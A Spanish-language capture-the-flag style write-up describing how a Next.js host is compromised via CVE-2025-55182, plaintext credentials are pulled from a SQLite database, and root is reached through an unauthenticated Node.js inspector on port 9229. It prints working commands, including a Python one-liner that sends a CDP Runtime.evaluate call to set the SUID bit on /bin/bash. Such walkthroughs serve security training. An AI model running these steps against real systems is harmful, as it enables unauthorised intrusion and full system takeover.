
Writeup técnico de pruebas de penetración que demuestra la explotación de CVE-2025-55182 en Next.js, la recolección de credenciales desde SQLite y la escalada de privilegios mediante el inspector de Node.js para lograr acceso root.
Este writeup técnico detalla la ruta de explotación para comprometer un objetivo que aloja una aplicación web Next.js vulnerable, logrando acceso inicial mediante credenciales obtenidas y aprovechando un inspector V8 de Node.js local mal configurado para la escalada de privilegios a root.
El objetivo aloja una aplicación web Next.js que se ejecuta en los puertos HTTP/HTTPS estándar (80/443). La enumeración estándar de directorios y el análisis manual indican que la aplicación ejecuta una versión vulnerable a CVE-2025-55182.
Para explotar la vulnerabilidad, intercepte el tráfico de la aplicación usando Burp Suite (o Burp Repeater) e inyecte un payload de explotación diseñado que apunte a CVE-2025-55182.
Al lograr la ejecución de código y la lectura de archivos locales mediante la explotación, inspeccione el directorio del código fuente de la aplicación. El archivo de base de datos SQLite local (database.db) se encuentra adyacente al código fuente principal de la aplicación.
Consulte o vuelque el contenido del archivo de base de datos para extraer los registros de usuarios almacenados.
Bash sqlite3 database.db "SELECT * FROM users;"
Localice la contraseña en texto claro asociada con el usuario SSH local engineer.
Use las credenciales recuperadas para establecer una sesión SSH con la máquina objetivo:
Bash ssh engineer@
Una vez autenticado, lea la bandera de usuario ubicada en el directorio de inicio:
Bash cat /home/engineer/user.txt
Compruebe los servicios vinculados exclusivamente a la interfaz de bucle local (127.0.0.1) para identificar superficies de ataque internas:
Bash netstat -tulnp
Resultado: Un servicio interno de Node.js está escuchando activamente en el puerto local 9229.
Los puertos de depuración V8 de Node.js requieren un UUID de sesión único para la comunicación WebSocket. Consulte el endpoint de descubrimiento local usando curl con /json añadido:
Bash curl -s http://127.0.0.1:9229/json
Salida:
JSON { "webSocketDebuggerUrl": "ws://127.0.0.1:9229/46a680a0-1cf5-4af4-9ce6-474f77329639" }
Debido a que el proceso de Node.js objetivo se ejecuta con privilegios de root, puede enviar un mensaje Runtime.evaluate del Protocolo de Herramientas de Desarrollo de Chrome (CDP) mediante Python sobre WebSockets para establecer el bit SUID en /bin/bash:
Bash python3 -c 'import websocket, json; ws = websocket.create_connection("ws://127.0.0.1:9229/"); ws.send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": "process.mainModule.require("child_process").execSync("chmod +s /bin/bash")"}})); print(ws.recv()); ws.close()'
Verifique que /bin/bash ahora tiene los permisos SUID habilitados (-rwsr-sr-x), luego invoque Bash preservando los privilegios:
Bash ls -l /bin/bash bash -p
Navegue al directorio de inicio del usuario root para capturar la bandera final:
Bash cd /root cat root.txt
Asegurar los entornos contra estos vectores requiere parchear las aplicaciones web vulnerables a CVEs conocidos, restringir adecuadamente los permisos de los archivos de base de datos y garantizar que los puertos de depuración (como el inspector de Node.js en el puerto 9229) nunca estén expuestos o se dejen accesibles sin autenticación en entornos de producción.